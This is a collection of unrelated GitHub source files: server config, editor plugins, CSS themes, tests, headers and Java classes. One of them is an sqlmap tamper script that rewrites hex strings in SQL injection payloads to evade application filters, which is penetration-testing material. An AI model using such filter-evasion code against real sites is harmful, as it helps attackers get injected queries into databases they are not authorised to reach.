limit nofile 20000 20000 kill timeout 300 # wait 300s between SIGTERM and SIGKILL. pre-start script mkdir -p /var/lib/mongodb1/ mkdir -p /var/log/mongodb1/ touch /var/log/mongodb1/mongodb.log chown -R mongodb /var/lib/mongodb1 chown -R mongodb /var/log/mongodb1 end script start on runlevel [2345] stop on runlevel [06] script exec sudo -u mongodb /usr/bin/mongod --config /etc/mongodb1.conf end script
{ "pile_set_name": "Github" }
#include <stdio.h> // Function that returns 1 if n is Prime or 0 is it is not prime int isPrime(int n){ int i = 2; while(i < n){ if (n % i == 0) return 0; i++; } return 1; } int main() { int i; for(i=1;i<30;i++){ if(isPrime(i)) printf("%d is Prime\n",i); } return 0; }
{ "pile_set_name": "Github" }
/** * editor_plugin_src.js * * Copyright 2009, Moxiecode Systems AB * Released under LGPL License. * * License: http://tinymce.moxiecode.com/license * Contributing: http://tinymce.moxiecode.com/contributing */ (function() { var DOM = tinymce.DOM, Event = tinymce.dom.Event, each = tinymce.each, explode = tinymce.explode; tinymce.create('tinymce.plugins.TabFocusPlugin', { init : function(ed, url) { function tabCancel(ed, e) { if (e.keyCode === 9) return Event.cancel(e); } function tabHandler(ed, e) { var x, i, f, el, v; function find(d) { el = DOM.select(':input:enabled,*[tabindex]:not(iframe)'); function canSelectRecursive(e) { return e.nodeName==="BODY" || (e.type != 'hidden' && !(e.style.display == "none") && !(e.style.visibility == "hidden") && canSelectRecursive(e.parentNode)); } function canSelectInOldIe(el) { return el.attributes["tabIndex"].specified || el.nodeName == "INPUT" || el.nodeName == "TEXTAREA"; } function isOldIe() { return tinymce.isIE6 || tinymce.isIE7; } function canSelect(el) { return ((!isOldIe() || canSelectInOldIe(el))) && el.getAttribute("tabindex") != '-1' && canSelectRecursive(el); } each(el, function(e, i) { if (e.id == ed.id) { x = i; return false; } }); if (d > 0) { for (i = x + 1; i < el.length; i++) { if (canSelect(el[i])) return el[i]; } } else { for (i = x - 1; i >= 0; i--) { if (canSelect(el[i])) return el[i]; } } return null; } if (e.keyCode === 9) { v = explode(ed.getParam('tab_focus', ed.getParam('tabfocus_elements', ':prev,:next'))); if (v.length == 1) { v[1] = v[0]; v[0] = ':prev'; } // Find element to focus if (e.shiftKey) { if (v[0] == ':prev') el = find(-1); else el = DOM.get(v[0]); } else { if (v[1] == ':next') el = find(1); else el = DOM.get(v[1]); } if (el) { if (el.id && (ed = tinymce.get(el.id || el.name))) ed.focus(); else window.setTimeout(function() { if (!tinymce.isWebKit) window.focus(); el.focus(); }, 10); return Event.cancel(e); } } } ed.onKeyUp.add(tabCancel); if (tinymce.isGecko) { ed.onKeyPress.add(tabHandler); ed.onKeyDown.add(tabCancel); } else ed.onKeyDown.add(tabHandler); }, getInfo : function() { return { longname : 'Tabfocus', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/tabfocus', version : tinymce.majorVersion + "." + tinymce.minorVersion }; } }); // Register plugin tinymce.PluginManager.add('tabfocus', tinymce.plugins.TabFocusPlugin); })();
{ "pile_set_name": "Github" }
/** * @class button - insert smiley (open dialog window) * * @param elRTE rte объект-редактор * @param String name название кнопки * * @author: eSabbath * **/ (function($) { elRTE.prototype.ui.prototype.buttons.smiley = function(rte, name) { this.constructor.prototype.constructor.call(this, rte, name); var self = this; this.img = null; this.url = this.rte.filter.url+'smileys/'; this.smileys = { 'smile' : 'smile.png', 'happy' : 'happy.png', 'tongue' : 'tongue.png', 'surprised' : 'surprised.png', 'waii' : 'waii.png', 'wink' : 'wink.png', 'evilgrin' : 'evilgrin.png', 'grin' : 'grin.png', 'unhappy' : 'unhappy.png' }; this.width = 120; this.command = function() { var self = this, url = this.url, d, opts, img; this.rte.browser.msie && this.rte.selection.saveIERange(); opts = { dialog : { height : 120, width : this.width, title : this.rte.i18n('Smiley'), buttons : {} } } d = new elDialogForm(opts); $.each(this.smileys, function(name, img) { d.append($('<img src="'+url+img+'" title="'+name+'" id="'+name+'" class="el-rte-smiley"/>').click(function() { self.set(this.id, d); })); }); d.open(); } this.update = function() { this.domElem.removeClass('disabled'); this.domElem.removeClass('active'); } this.set = function(s, d) { this.rte.browser.msie && this.rte.selection.restoreIERange(); if (this.smileys[s]) { this.img = $(this.rte.doc.createElement('img')); this.img.attr({ src : this.url + this.smileys[s], title : s, alt : s }); this.rte.selection.insertNode(this.img.get(0)); this.rte.ui.update(); } d.close(); } } })(jQuery);
{ "pile_set_name": "Github" }
/* Name: Paraíso (Dark) Author: Jan T. Sott Color scheme by Jan T. Sott (https://github.com/idleberg/Paraiso-CodeMirror) Inspired by the art of Rubens LP (http://www.rubenslp.com.br) */ .cm-s-paraiso-dark.CodeMirror {background: #2f1e2e; color: #b9b6b0;} .cm-s-paraiso-dark div.CodeMirror-selected {background: #41323f !important;} .cm-s-paraiso-dark.CodeMirror ::selection { background: rgba(65, 50, 63, .99); } .cm-s-paraiso-dark.CodeMirror ::-moz-selection { background: rgba(65, 50, 63, .99); } .cm-s-paraiso-dark .CodeMirror-gutters {background: #2f1e2e; border-right: 0px;} .cm-s-paraiso-dark .CodeMirror-guttermarker { color: #ef6155; } .cm-s-paraiso-dark .CodeMirror-guttermarker-subtle { color: #776e71; } .cm-s-paraiso-dark .CodeMirror-linenumber {color: #776e71;} .cm-s-paraiso-dark .CodeMirror-cursor {border-left: 1px solid #8d8687 !important;} .cm-s-paraiso-dark span.cm-comment {color: #e96ba8;} .cm-s-paraiso-dark span.cm-atom {color: #815ba4;} .cm-s-paraiso-dark span.cm-number {color: #815ba4;} .cm-s-paraiso-dark span.cm-property, .cm-s-paraiso-dark span.cm-attribute {color: #48b685;} .cm-s-paraiso-dark span.cm-keyword {color: #ef6155;} .cm-s-paraiso-dark span.cm-string {color: #fec418;} .cm-s-paraiso-dark span.cm-variable {color: #48b685;} .cm-s-paraiso-dark span.cm-variable-2 {color: #06b6ef;} .cm-s-paraiso-dark span.cm-def {color: #f99b15;} .cm-s-paraiso-dark span.cm-bracket {color: #b9b6b0;} .cm-s-paraiso-dark span.cm-tag {color: #ef6155;} .cm-s-paraiso-dark span.cm-link {color: #815ba4;} .cm-s-paraiso-dark span.cm-error {background: #ef6155; color: #8d8687;} .cm-s-paraiso-dark .CodeMirror-activeline-background {background: #4D344A !important;} .cm-s-paraiso-dark .CodeMirror-matchingbracket { text-decoration: underline; color: white !important;}
{ "pile_set_name": "Github" }
<?php namespace Faker\Test\Provider\en_UG; use Faker\Generator; use Faker\Provider\en_UG\Address; use PHPUnit\Framework\TestCase; class AddressTest extends TestCase { /** * @var Faker\Generator */ private $faker; public function setUp() { $faker = new Generator(); $faker->addProvider(new Address($faker)); $this->faker = $faker; } /** * @test */ public function testCityName() { $city = $this->faker->cityName(); $this->assertNotEmpty($city); $this->assertInternalType('string', $city); } /** * @test */ public function testDistrict() { $district = $this->faker->district(); $this->assertNotEmpty($district); $this->assertInternalType('string', $district); } /** * @test */ public function testRegion() { $region = $this->faker->region(); $this->assertNotEmpty($region); $this->assertInternaltype('string', $region); } }
{ "pile_set_name": "Github" }
#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),...) counterpart Requirement: * MySQL Tested against: * MySQL 4, 5.0 and 5.5 Notes: * Useful in cases when web application does the upper casing >>> tamper('SELECT 0xdeadbeef') 'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))' """ retVal = payload if payload: for match in re.finditer(r"\b0x([0-9a-f]+)\b", retVal): if len(match.group(1)) > 2: result = "CONCAT(%s)" % ','.join("CHAR(%d)" % ord(_) for _ in match.group(1).decode("hex")) else: result = "CHAR(%d)" % ord(match.group(1).decode("hex")) retVal = retVal.replace(match.group(0), result) return retVal
{ "pile_set_name": "Github" }
/* * (C) 2014, 2016 see Authors.txt * * This file is part of MPC-HC. * * MPC-HC is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * MPC-HC is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * */ #pragma once struct SubPicQueueSettings { int nSize; int nMaxRes; bool bDisableSubtitleAnimation; int nRenderAtWhenAnimationIsDisabled; int nAnimationRate; bool bAllowDroppingSubpic; SubPicQueueSettings(int nSize, int nMaxRes, bool bDisableSubtitleAnimation, int nRenderAtWhenAnimationIsDisabled, int nAnimationRate, bool bAllowDroppingSubpic) : nSize(nSize) , nMaxRes(nMaxRes) , bDisableSubtitleAnimation(bDisableSubtitleAnimation) , nRenderAtWhenAnimationIsDisabled(nRenderAtWhenAnimationIsDisabled) , nAnimationRate(nAnimationRate) , bAllowDroppingSubpic(bAllowDroppingSubpic) {}; SubPicQueueSettings() : SubPicQueueSettings(10, 0, false, 50, 100, true) {}; };
{ "pile_set_name": "Github" }
/* +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | [email protected] so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Kirti Velankar <[email protected]> | +----------------------------------------------------------------------+ */ #ifndef LOCALE_CLASS_H #define LOCALE_CLASS_H #include <php.h> #include "intl_common.h" #include "intl_error.h" #include <unicode/uloc.h> typedef struct { zend_object zo; // ICU locale char* uloc1; } Locale_object; void locale_register_Locale_class( void ); extern zend_class_entry *Locale_ce_ptr; /* Auxiliary macros */ #define LOCALE_METHOD_INIT_VARS \ zval* object = NULL; \ intl_error_reset( NULL ); \ #endif // #ifndef LOCALE_CLASS_H
{ "pile_set_name": "Github" }
/* * Copyright 2008-2020 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.data.jpa.repository.query; import javax.persistence.criteria.CriteriaBuilder; import javax.persistence.criteria.CriteriaQuery; import javax.persistence.criteria.Expression; import javax.persistence.criteria.Predicate; import javax.persistence.criteria.Root; import org.springframework.data.domain.Sort; import org.springframework.data.repository.query.ReturnedType; import org.springframework.data.repository.query.parser.PartTree; import org.springframework.lang.Nullable; /** * Special {@link JpaQueryCreator} that creates a count projecting query. * * @author Oliver Gierke * @author Marc Lefrançois * @author Mark Paluch */ public class JpaCountQueryCreator extends JpaQueryCreator { /** * Creates a new {@link JpaCountQueryCreator}. * * @param tree * @param type * @param builder * @param provider */ public JpaCountQueryCreator(PartTree tree, ReturnedType type, CriteriaBuilder builder, ParameterMetadataProvider provider) { super(tree, type, builder, provider); } /* * (non-Javadoc) * @see org.springframework.data.jpa.repository.query.JpaQueryCreator#createCriteriaQuery(javax.persistence.criteria.CriteriaBuilder, org.springframework.data.repository.query.ReturnedType) */ @Override protected CriteriaQuery<? extends Object> createCriteriaQuery(CriteriaBuilder builder, ReturnedType type) { return builder.createQuery(type.getDomainType()); } /* * (non-Javadoc) * @see org.springframework.data.jpa.repository.query.JpaQueryCreator#complete(javax.persistence.criteria.Predicate, org.springframework.data.domain.Sort, javax.persistence.criteria.CriteriaQuery, javax.persistence.criteria.CriteriaBuilder, javax.persistence.criteria.Root) */ @Override @SuppressWarnings("unchecked") protected CriteriaQuery<? extends Object> complete(@Nullable Predicate predicate, Sort sort, CriteriaQuery<? extends Object> query, CriteriaBuilder builder, Root<?> root) { CriteriaQuery<? extends Object> select = query.select(getCountQuery(query, builder, root)); return predicate == null ? select : select.where(predicate); } @SuppressWarnings("rawtypes") private static Expression getCountQuery(CriteriaQuery<?> query, CriteriaBuilder builder, Root<?> root) { return query.isDistinct() ? builder.countDistinct(root) : builder.count(root); } }
{ "pile_set_name": "Github" }
/* * Ext JS Library 2.2 * Copyright(c) 2006-2008, Ext JS, LLC. * [email protected] * * http://extjs.com/license */ html,body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,p,blockquote,th,td{margin:0;padding:0;} img,body,html{border:0;} address,caption,cite,code,dfn,em,strong,th,var{font-style:normal;font-weight:normal;} ol,ul{list-style:none;} caption,th{text-align:left;} h1,h2,h3,h4,h5,h6{font-size:100%;} q:before,q:after{content:'';} .ext-el-mask{z-index:20000;position:absolute;top:0;left:0;-moz-opacity:0.5;opacity:.50;filter:alpha(opacity=50);background-color:#CCC;width:100%;height:100%;zoom:1;} .ext-el-mask-msg{z-index:20001;position:absolute;top:0;left:0;border:1px solid #6593cf;background:#c3daf9 url(../images/default/box/tb-blue.gif) repeat-x 0 -16px;padding:2px;} .ext-el-mask-msg div{padding:5px 10px 5px 10px;background:#eee;border:1px solid #a3bad9;color:#222;font:normal 11px tahoma,arial,helvetica,sans-serif;cursor:wait;} .ext-shim{position:absolute;visibility:hidden;left:0;top:0;overflow:hidden;} .ext-ie .ext-shim{filter:alpha(opacity=0);} .ext-ie6 .ext-shim{margin-left:5px;margin-top:3px;} .x-mask-loading div{padding:5px 10px 5px 25px;background:#fbfbfb url( '../images/default/grid/loading.gif' ) no-repeat 5px 5px;line-height:16px;} .x-hidden,.x-hide-offsets{position:absolute;left:-10000px;top:-10000px;visibility:hidden;} .x-hide-display{display:none!important;} .x-hide-visibility{visibility:hidden!important;} .x-masked{overflow:hidden!important;} .x-masked select,.x-masked object,.x-masked embed{visibility:hidden;} .x-layer{visibility:hidden;} .x-unselectable,.x-unselectable *{-moz-user-select:none;-khtml-user-select:none;} .x-repaint{zoom:1;background-color:transparent;-moz-outline:none;} .x-item-disabled{color:gray;cursor:default;opacity:.6;-moz-opacity:.6;filter:alpha(opacity=60);} .x-item-disabled *{color:gray!important;cursor:default!important;} .x-splitbar-proxy{position:absolute;visibility:hidden;z-index:20001;background:#aaa;zoom:1;line-height:1px;font-size:1px;overflow:hidden;} .x-splitbar-h,.x-splitbar-proxy-h{cursor:e-resize;cursor:col-resize;} .x-splitbar-v,.x-splitbar-proxy-v{cursor:s-resize;cursor:row-resize;} .x-color-palette{width:150px;height:92px;cursor:pointer;} .x-color-palette a{border:1px solid #fff;float:left;padding:2px;text-decoration:none;-moz-outline:0 none;outline:0 none;cursor:pointer;} .x-color-palette a:hover,.x-color-palette a.x-color-palette-sel{border:1px solid #8BB8F3;background:#deecfd;} .x-color-palette em{display:block;border:1px solid #ACA899;} .x-color-palette em span{cursor:pointer;display:block;height:10px;line-height:10px;width:10px;} .x-ie-shadow{display:none;position:absolute;overflow:hidden;left:0;top:0;background:#777;zoom:1;} .x-shadow{display:none;position:absolute;overflow:hidden;left:0;top:0;} .x-shadow *{overflow:hidden;} .x-shadow *{padding:0;border:0;margin:0;clear:none;zoom:1;} .x-shadow .xstc,.x-shadow .xsbc{height:6px;float:left;} .x-shadow .xstl,.x-shadow .xstr,.x-shadow .xsbl,.x-shadow .xsbr{width:6px;height:6px;float:left;} .x-shadow .xsc{width:100%;} .x-shadow .xsml,.x-shadow .xsmr{width:6px;float:left;height:100%;} .x-shadow .xsmc{float:left;height:100%;background:transparent url( ../images/default/shadow-c.png );} .x-shadow .xst,.x-shadow .xsb{height:6px;overflow:hidden;width:100%;} .x-shadow .xsml{background:transparent url( ../images/default/shadow-lr.png ) repeat-y 0 0;} .x-shadow .xsmr{background:transparent url( ../images/default/shadow-lr.png ) repeat-y -6px 0;} .x-shadow .xstl{background:transparent url( ../images/default/shadow.png ) no-repeat 0 0;} .x-shadow .xstc{background:transparent url( ../images/default/shadow.png ) repeat-x 0 -30px;} .x-shadow .xstr{background:transparent url( ../images/default/shadow.png ) repeat-x 0 -18px;} .x-shadow .xsbl{background:transparent url( ../images/default/shadow.png ) no-repeat 0 -12px;} .x-shadow .xsbc{background:transparent url( ../images/default/shadow.png ) repeat-x 0 -36px;} .x-shadow .xsbr{background:transparent url( ../images/default/shadow.png ) repeat-x 0 -6px;} .loading-indicator{font-size:11px;background-image:url(../images/default/grid/loading.gif);background-repeat:no-repeat;background-position:left;padding-left:20px;line-height:16px;margin:3px;} .x-text-resize{position:absolute;left:-1000px;top:-1000px;visibility:hidden;zoom:1;} .x-drag-overlay{width:100%;height:100%;display:none;position:absolute;left:0;top:0;background-image:url(../images/default/s.gif);z-index:20000;} .x-clear{clear:both;height:0;overflow:hidden;line-height:0;font-size:0;} .x-spotlight{z-index:8999;position:absolute;top:0;left:0;-moz-opacity:0.5;opacity:.50;filter:alpha(opacity=50);background-color:#CCC;width:0;height:0;zoom:1;} .x-tab-panel{overflow:hidden;} .x-tab-panel-header,.x-tab-panel-footer{background:#deecfd;border:1px solid #8db2e3;overflow:hidden;zoom:1;} .x-tab-panel-header{border:1px solid #8db2e3;padding-bottom:2px;} .x-tab-panel-footer{border:1px solid #8db2e3;padding-top:2px;} .x-tab-strip-wrap{width:100%;overflow:hidden;position:relative;zoom:1;} ul.x-tab-strip{display:block;width:5000px;zoom:1;} ul.x-tab-strip-top{padding-top:1px;background:url(../images/default/tabs/tab-strip-bg.gif) #cedff5 repeat-x bottom;border-bottom:1px solid #8db2e3;} ul.x-tab-strip-bottom{padding-bottom:1px;background:url(../images/default/tabs/tab-strip-btm-bg.gif) #cedff5 repeat-x top;border-top:1px solid #8db2e3;border-bottom:0 none;} .x-tab-panel-header-plain .x-tab-strip-top{background:transparent!important;padding-top:0!important;} .x-tab-panel-header-plain{background:transparent!important;border-width:0!important;padding-bottom:0!important;} .x-tab-panel-header-plain .x-tab-strip-spacer,.x-tab-panel-footer-plain .x-tab-strip-spacer{border:1px solid #8db2e3;height:2px;background:#deecfd;font-size:1px;line-height:1px;} .x-tab-panel-header-plain .x-tab-strip-spacer{border-top:0 none;} .x-tab-panel-footer-plain .x-tab-strip-spacer{border-bottom:0 none;} .x-tab-panel-footer-plain .x-tab-strip-bottom{background:transparent!important;padding-bottom:0!important;} .x-tab-panel-footer-plain{background:transparent!important;border-width:0!important;padding-top:0!important;} .ext-border-box .x-tab-panel-header-plain .x-tab-strip-spacer,.ext-border-box .x-tab-panel-footer-plain .x-tab-strip-spacer{height:3px;} ul.x-tab-strip li{float:left;margin-left:2px;} ul.x-tab-strip li.x-tab-edge{float:left;margin:0!important;padding:0!important;border:0 none!important;font-size:1px!important;line-height:1px!important;overflow:hidden;zoom:1;background:transparent!important;width:1px;} .x-tab-strip a,.x-tab-strip span,.x-tab-strip em{display:block;} .x-tab-strip a{text-decoration:none!important;-moz-outline:none;outline:none;cursor:pointer;} .x-tab-strip-inner{overflow:hidden;text-overflow:ellipsis;} .x-tab-strip span.x-tab-strip-text{font:normal 11px tahoma,arial,helvetica;color:#416aa3;white-space:nowrap;cursor:pointer;padding:4px 0;} .x-tab-strip-top .x-tab-with-icon .x-tab-right{padding-left:6px;} .x-tab-strip .x-tab-with-icon span.x-tab-strip-text{padding-left:20px;background-position:0 3px;background-repeat:no-repeat;} .x-tab-strip-over span.x-tab-strip-text{color:#15428b;} .x-tab-strip-active,.x-tab-strip-active a.x-tab-right{cursor:default;} .x-tab-strip-active span.x-tab-strip-text{cursor:default;color:#15428b;font-weight:bold;} .x-tab-strip-disabled .x-tabs-text{cursor:default;color:#aaa;} .x-tab-panel-body{overflow:hidden;} .x-tab-panel-bwrap{overflow:hidden;} .ext-ie .x-tab-strip .x-tab-right{position:relative;} .x-tab-strip-top .x-tab-strip-active .x-tab-right{margin-bottom:-1px;} .x-tab-strip-top .x-tab-strip-active .x-tab-right span.x-tab-strip-text{padding-bottom:5px;} .x-tab-strip-bottom .x-tab-strip-active .x-tab-right{margin-top:-1px;} .x-tab-strip-bottom .x-tab-strip-active .x-tab-right span.x-tab-strip-text{padding-top:5px;} .x-tab-strip-top .x-tab-right{background:transparent url(../images/default/tabs/tabs-sprite.gif) no-repeat 0 -51px;padding-left:10px;} .x-tab-strip-top .x-tab-left{background:transparent url(../images/default/tabs/tabs-sprite.gif) no-repeat right -351px;padding-right:10px;} .x-tab-strip-top .x-tab-strip-inner{background:transparent url(../images/default/tabs/tabs-sprite.gif) repeat-x 0 -201px;} .x-tab-strip-top .x-tab-strip-over .x-tab-right{background-position:0 -101px;} .x-tab-strip-top .x-tab-strip-over .x-tab-left{background-position:right -401px;} .x-tab-strip-top .x-tab-strip-over .x-tab-strip-inner{background-position:0 -251px;} .x-tab-strip-top .x-tab-strip-active .x-tab-right{background-position:0 0;} .x-tab-strip-top .x-tab-strip-active .x-tab-left{background-position:right -301px;} .x-tab-strip-top .x-tab-strip-active .x-tab-strip-inner{background-position:0 -151px;} .x-tab-strip-bottom .x-tab-right{background:url(../images/default/tabs/tab-btm-inactive-right-bg.gif) no-repeat bottom right;} .x-tab-strip-bottom .x-tab-left{background:url(../images/default/tabs/tab-btm-inactive-left-bg.gif) no-repeat bottom left;} .x-tab-strip-bottom .x-tab-strip-active .x-tab-right{background:url(../images/default/tabs/tab-btm-right-bg.gif) no-repeat bottom left;} .x-tab-strip-bottom .x-tab-strip-active .x-tab-left{background:url(../images/default/tabs/tab-btm-left-bg.gif) no-repeat bottom right;} .x-tab-strip-bottom .x-tab-left{padding:0 10px;} .x-tab-strip-bottom .x-tab-right{padding:0;} .x-tab-strip .x-tab-strip-close{display:none;} .x-tab-strip-closable{position:relative;} .x-tab-strip-closable .x-tab-left{padding-right:19px;} .x-tab-strip .x-tab-strip-closable a.x-tab-strip-close{background-image:url(../images/default/tabs/tab-close.gif);opacity:.6;-moz-opacity:.6;background-repeat:no-repeat;display:block;width:11px;height:11px;position:absolute;top:3px;right:3px;cursor:pointer;z-index:2;} .x-tab-strip .x-tab-strip-active a.x-tab-strip-close{opacity:.8;-moz-opacity:.8;} .x-tab-strip .x-tab-strip-closable a.x-tab-strip-close:hover{background-image:url(../images/default/tabs/tab-close.gif);opacity:1;-moz-opacity:1;} .x-tab-panel-body{border:1px solid #8db2e3;background:#fff;} .x-tab-panel-body-top{border-top:0 none;} .x-tab-panel-body-bottom{border-bottom:0 none;} .x-tab-scroller-left{background:transparent url(../images/default/tabs/scroll-left.gif) no-repeat -18px 0;border-bottom:1px solid #8db2e3;width:18px;position:absolute;left:0;top:0;z-index:10;cursor:pointer;} .x-tab-scroller-left-over{background-position:0 0;} .x-tab-scroller-left-disabled{background-position:-18px 0;opacity:.5;-moz-opacity:.5;filter:alpha(opacity=50);cursor:default;} .x-tab-scroller-right{background:transparent url(../images/default/tabs/scroll-right.gif) no-repeat 0 0;border-bottom:1px solid #8db2e3;width:18px;position:absolute;right:0;top:0;z-index:10;cursor:pointer;} .x-tab-scroller-right-over{background-position:-18px 0;} .x-tab-scroller-right-disabled{background-position:0 0;opacity:.5;-moz-opacity:.5;filter:alpha(opacity=50);cursor:default;} .x-tab-scrolling .x-tab-strip-wrap{margin-left:18px;margin-right:18px;} .x-tab-scrolling{position:relative;} .x-tab-panel-bbar .x-toolbar{border:1px solid #99bbe8;border-top:0 none;overflow:hidden;padding:2px;} .x-tab-panel-tbar .x-toolbar{border:1px solid #99bbe8;border-top:0 none;overflow:hidden;padding:2px;} .x-form-field{margin:0;font:normal 12px tahoma,arial,helvetica,sans-serif;} .x-form-text,textarea.x-form-field{padding:1px 3px;background:#fff url(../images/default/form/text-bg.gif) repeat-x 0 0;border:1px solid #B5B8C8;} textarea.x-form-field{padding:2px 3px;} .x-form-text{height:22px;line-height:18px;vertical-align:middle;} .ext-ie .x-form-text{margin:-1px 0;height:22px;line-height:18px;} .ext-ie textarea.x-form-field{margin:-1px 0;} .ext-strict .x-form-text{height:18px;} .ext-safari .x-form-text{height:20px;padding:0 3px;} .ext-safari.ext-mac textarea.x-form-field{margin-bottom:-2px;} .ext-gecko .x-form-text{padding-top:2px;padding-bottom:0;} textarea{resize:none;} .x-form-select-one{height:20px;line-height:18px;vertical-align:middle;background-color:#fff;border:1px solid #B5B8C8;} .x-form-check-group,.x-form-radio-group{margin-bottom:0;} .x-form-check-group .x-form-invalid .x-panel-body,.x-form-radio-group .x-form-invalid .x-panel-body{background-color:transparent;} .x-form-check-wrap,.x-form-radio-wrap{padding:3px 0 0 0;line-height:18px;} .x-form-check-group .x-form-check-wrap,.x-form-radio-group .x-form-radio-wrap{height:18px;} .ext-ie .x-form-check-group .x-form-check-wrap,.ext-ie .x-form-radio-group .x-form-radio-wrap{height:21px;} .ext-ie .x-form-check-wrap input,.ext-ie .x-form-radio-wrap input{width:15px;height:15px;} .x-form-check,.x-form-radio{height:13px;width:13px;vertical-align:bottom;} .x-form-radio{margin-bottom:3px;} .x-form-check,.ext-ie .x-form-radio{margin-bottom:2px;} .x-form-check-wrap-inner,.x-form-radio-wrap-inner{display:inline;padding:3px 0 0 0;} .x-form-check{background:url('../images/default/form/checkbox.gif') no-repeat 0 0;} .x-form-radio{background:url('../images/default/form/radio.gif') no-repeat 0 0;} .x-form-check-focus .x-form-check,.x-form-check-over .x-form-check,.x-form-check-focus .x-form-radio,.x-form-check-over .x-form-radio{background-position:-13px 0;} .x-form-check-down .x-form-check,.x-form-check-down .x-form-radio{background-position:-26px 0;} .x-form-check-checked .x-form-check-focus .x-form-check,.x-form-check-checked .x-form-check-over .x-form-check{background-position:-13px -13px;} .x-form-check-checked .x-form-check-down .x-form-check{background-position:-26px -13px;} .x-form-check-checked .x-form-check,.x-form-check-checked .x-form-radio{background-position:0 -13px;} .x-form-check-group-label{border-bottom:1px solid #99BBE8;color:#15428B;margin-bottom:5px;padding-left:3px!important;float:none!important;} .x-form-field-wrap{position:relative;zoom:1;white-space:nowrap;} .x-form-field-wrap .x-form-trigger{width:17px;height:21px;border:0;background:transparent url(../images/default/form/trigger.gif) no-repeat 0 0;cursor:pointer;border-bottom:1px solid #B5B8C8;position:absolute;top:0;} .ext-safari .x-form-field-wrap .x-form-trigger{height:21px;} .x-form-field-wrap .x-form-date-trigger{background-image:url(../images/default/form/date-trigger.gif);cursor:pointer;} .x-form-field-wrap .x-form-clear-trigger{background-image:url(../images/default/form/clear-trigger.gif);cursor:pointer;} .x-form-field-wrap .x-form-search-trigger{background-image:url(../images/default/form/search-trigger.gif);cursor:pointer;} .ext-safari .x-form-field-wrap .x-form-trigger{right:0;} .x-form-field-wrap .x-form-twin-triggers .x-form-trigger{position:static;top:auto;vertical-align:top;} .x-form-field-wrap .x-form-trigger-over{background-position:-17px 0;} .x-form-field-wrap .x-form-trigger-click{background-position:-34px 0;} .x-trigger-wrap-focus .x-form-trigger{background-position:-51px 0;} .x-trigger-wrap-focus .x-form-trigger-over{background-position:-68px 0;} .x-trigger-wrap-focus .x-form-trigger-click{background-position:-85px 0;} .x-trigger-wrap-focus .x-form-trigger{border-bottom:1px solid #7eadd9;} .x-item-disabled .x-form-trigger-over{background-position:0 0!important;border-bottom:1px solid #B5B8C8;} .x-item-disabled .x-form-trigger-click{background-position:0 0!important;border-bottom:1px solid #B5B8C8;} .x-form-focus,textarea.x-form-focus{border:1px solid #7eadd9;} .x-form-invalid,textarea.x-form-invalid{background:#fff url(../images/default/grid/invalid_line.gif) repeat-x bottom;border:1px solid #dd7870;} .ext-safari .x-form-invalid{background-color:#fee;border:1px solid #ff7870;} .x-editor{visibility:hidden;padding:0;margin:0;} .x-editor .x-form-check-wrap,.x-editor .x-form-radio-wrap{background:#fff;padding:3px;} .x-editor .x-form-checkbox{height:13px;} .x-form-grow-sizer{font:normal 12px tahoma,arial,helvetica,sans-serif;left:-10000px;padding:8px 3px;position:absolute;visibility:hidden;top:-10000px;white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word;zoom:1;} .x-form-grow-sizer p{margin:0!important;border:0 none!important;padding:0!important;} .x-form-item{font:normal 12px tahoma,arial,helvetica,sans-serif;display:block;margin-bottom:4px;zoom:1;} .x-form-item label{display:block;float:left;width:100px;padding:3px;padding-left:0;clear:left;z-index:2;position:relative;} .x-form-element{padding-left:105px;position:relative;} .x-form-invalid-msg{color:#e00;padding:2px;padding-left:18px;font:normal 11px tahoma,arial,helvetica,sans-serif;background:transparent url(../images/default/shared/warning.gif) no-repeat 0 2px;line-height:16px;width:200px;} .x-form-label-right label{text-align:right;} .x-form-label-left label{text-align:left;} .x-form-label-top .x-form-item label{width:auto;float:none;clear:none;display:inline;margin-bottom:4px;position:static;} .x-form-label-top .x-form-element{padding-left:0;padding-top:4px;} .x-form-label-top .x-form-item{padding-bottom:4px;} .x-form-empty-field{color:gray;} .x-small-editor .x-form-field{font:normal 11px arial,tahoma,helvetica,sans-serif;} .x-small-editor .x-form-text{height:20px;line-height:16px;vertical-align:middle;} .ext-ie .x-small-editor .x-form-text{margin-top:-1px!important;margin-bottom:-1px!important;height:20px!important;line-height:16px!important;} .ext-strict .x-small-editor .x-form-text{height:16px!important;} .ext-safari .x-small-editor .x-form-field{font:normal 12px arial,tahoma,helvetica,sans-serif;} .ext-ie .x-small-editor .x-form-text{height:20px;line-height:16px;} .ext-border-box .x-small-editor .x-form-text{height:20px;} .x-small-editor .x-form-select-one{height:20px;line-height:16px;vertical-align:middle;} .x-small-editor .x-form-num-field{text-align:right;} .x-small-editor .x-form-field-wrap .x-form-trigger{height:19px;} 